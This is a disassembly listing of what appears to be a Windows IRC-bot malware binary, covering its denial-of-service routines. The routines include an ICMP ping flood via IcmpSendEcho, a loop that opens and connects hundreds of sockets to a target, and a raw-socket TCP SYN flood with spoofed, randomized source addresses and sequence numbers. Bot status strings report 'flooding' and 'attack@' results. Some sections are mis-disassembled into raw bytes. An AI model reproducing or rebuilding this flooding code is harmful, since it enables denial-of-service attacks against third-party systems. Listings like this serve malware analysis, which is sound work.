		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4277B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427850	proc near		; CODE XREF: sub_4014CEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427850
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427850	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427910:				; CODE XREF: ___:loc_4016DBj
					; ___:0040219Ej
		push	esi
		mov	esi, ecx
		call	sub_4014CE
		test	byte ptr [esp+8], 1
		jz	short loc_427928
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427928:				; CODE XREF: ___:0042791Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427940	proc near		; CODE XREF: sub_4011FEj ___:0040209Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4020AE
		test	[esp+4+arg_0], 1
		jz	short loc_427958
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427958:				; CODE XREF: sub_427940+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427970	proc near		; CODE XREF: sub_4020AEj
		jmp	sub_4014CE
sub_427970	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427990	proc near		; CODE XREF: sub_401A50j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40183E
		add	esp, 10h
		test	eax, eax
		jz	short loc_427A54
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_427A6E
; ---------------------------------------------------------------------------


loc_427A54:				; CODE XREF: sub_427990+9Aj
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_427A6E:				; CODE XREF: sub_427990+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427990	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427B10	proc near		; CODE XREF: sub_401E9Cj

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_437B30
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 27E08BCh
		mov	esi, eax
		test	esi, esi
		jz	short loc_427B7A
		mov	edi, dword_511918
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_51012C, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_510130, eax
		call	edi
		mov	ecx, dword_51012C
		mov	dword_510128, eax
		test	ecx, ecx
		jz	short loc_427B7A
		mov	edx, dword_510130
		test	edx, edx
		jz	short loc_427B7A
		test	eax, eax
		jz	short loc_427B7A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_427B85


loc_427B7A:				; CODE XREF: sub_427B10+1Bj
					; sub_427B10+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_427B85:				; CODE XREF: sub_427B10+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_427B9C
		mov	[esp+24h+arg_FFE8], eax


loc_427B9C:				; CODE XREF: sub_427B10+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_427BAF
		mov	ebp, 1


loc_427BAF:				; CODE XREF: sub_427B10+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_427BF4


loc_427BC0:				; CODE XREF: sub_427B10+E2j
		mov	al, byte_4D84C9
		test	al, al
		jz	short loc_427BF4
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_510128	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_427BC0


loc_427BF4:				; CODE XREF: sub_427B10+AEj
					; sub_427B10+B7j
		push	edi
		call	dword_510130	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_427B10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C50	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E9C
		add	esp, 14h
		retn
sub_427C50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C90	proc near		; CODE XREF: sub_401BDBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	nullsub_10
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427C90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427D00:				; CODE XREF: ___:00401A28j
					; ___:00401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401807
		test	byte ptr [esp+8], 1
		jz	short loc_427D18
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427D18:				; CODE XREF: ___:00427D0Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427D30	proc near		; CODE XREF: sub_401807j
		jmp	sub_4014CE
sub_427D30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427D50	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427D50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E7D9F
		mov	[esp+2Ch+var_28], eax


loc_427D76:				; CODE XREF: sub_427D50+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_427D87
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E86FF
		jl	short loc_427D76


loc_427D87:				; CODE XREF: sub_427D50+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_427F39
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E7D2Bh[eax*8]
		call	sub_4017EE
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		nop
		call	near ptr 71AB2B66h
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_427DF0
		mov	dword ptr [ebp+68h], 5


loc_427DF0:				; CODE XREF: sub_427D50+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_510138
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_510338
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		call	near ptr 279018Fh
		nop
		test	eax, eax
		mov	dword_51033C, eax
		jz	short loc_427E8B
		push	offset dword_448F44
		push	5
		push	eax
		push	0
		push	offset dword_510138
		call	sub_4013F2
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_427EBB
; ---------------------------------------------------------------------------


loc_427E8B:				; CODE XREF: sub_427D50+11Dj
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_427EBB:				; CODE XREF: sub_427D50+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_40142E
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_427F39:				; CODE XREF: sub_427D50+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_427D50	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FD0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E7D2Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428066
		push	ebp
		call	near ptr 71AB4FD4h
		nop
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_42805F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8745[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_42805F:				; CODE XREF: sub_427FD0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428066:				; CODE XREF: sub_427FD0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_428116
		mov	ebx, dword_511C3C


loc_428085:				; CODE XREF: sub_427FD0+140j
		mov	al, byte_4D84C9
		test	al, al
		jz	loc_428116
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_42809B:				; CODE XREF: sub_427FD0+EFj
		push	0
		push	1
		push	2
		call	ebx	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4280BB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB4519h


loc_4280BB:				; CODE XREF: sub_427FD0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_42809B
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280CA:				; CODE XREF: sub_427FD0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_4280CA
		mov	ecx, [ebp+68h]
		push	ecx
		call	near ptr 2830000h
		nop
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280F3:				; CODE XREF: sub_427FD0+130j
		mov	edx, [esi]
		push	edx
		nop
		call	near ptr 71AB9639h
		add	esi, 4
		dec	edi
		jnz	short loc_4280F3
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_428085


loc_428116:				; CODE XREF: sub_427FD0+A9j
					; sub_427FD0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8745[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_427FD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4281A0	proc near		; CODE XREF: sub_401DF2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4281A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F10C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4281A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428210	proc near		; CODE XREF: ___:004016E5j sub_40182Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_428228
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428228:				; CODE XREF: sub_428210+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428210	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428240	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014CE
sub_428240	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428260	proc near		; CODE XREF: sub_401EB0j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428260
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_401DCF
sub_428260	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4283D0	proc near		; CODE XREF: sub_401BC7j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021C6
sub_4283D0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_428461
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_428461:				; CODE XREF: ___:00428441j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		nop
		call	near ptr 71AB8769h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_428494
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_428494:				; CODE XREF: ___:00428485j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4284B7


loc_4284AA:				; CODE XREF: ___:0042865Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4284B7:				; CODE XREF: ___:004284A8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_511C38
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp	; ntohs
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp	; ntohs
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp	; ntohs
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		nop
		call	near ptr 27E0C04h
		mov	[esp+48h], eax
		mov	al, byte_4D84C9
		test	al, al
		jz	loc_42870B
		mov	ebx, dword_511AC8
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_428555
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_428555:				; CODE XREF: ___:00428551j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp	; ntohs
		push	14h
		mov	[esp+3Ah], ax
		call	ebp	; ntohs
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx	; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp	; ntohs
		mov	[esp+34h], ax
		call	ebx	; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx	; rand
		or	edi, eax
		push	edi
		call	ebp	; ntohs
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A37
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A37
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB2C69h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4284AA
		nop
		call	near ptr 27E0C04h
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_428707
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4286A9
		push	2710h
		push	3E8h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4286A9:				; CODE XREF: ___:0042868Ej
		push	0FFh
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 7906E890h, 0C9A00240h, 84004D84h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_428707:				; CODE XREF: ___:00428686j
		mov	edi, [esp+18h]


loc_42870B:				; CODE XREF: ___:0042853Bj
		push	edi
		nop
		call	near ptr 71AB9639h
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

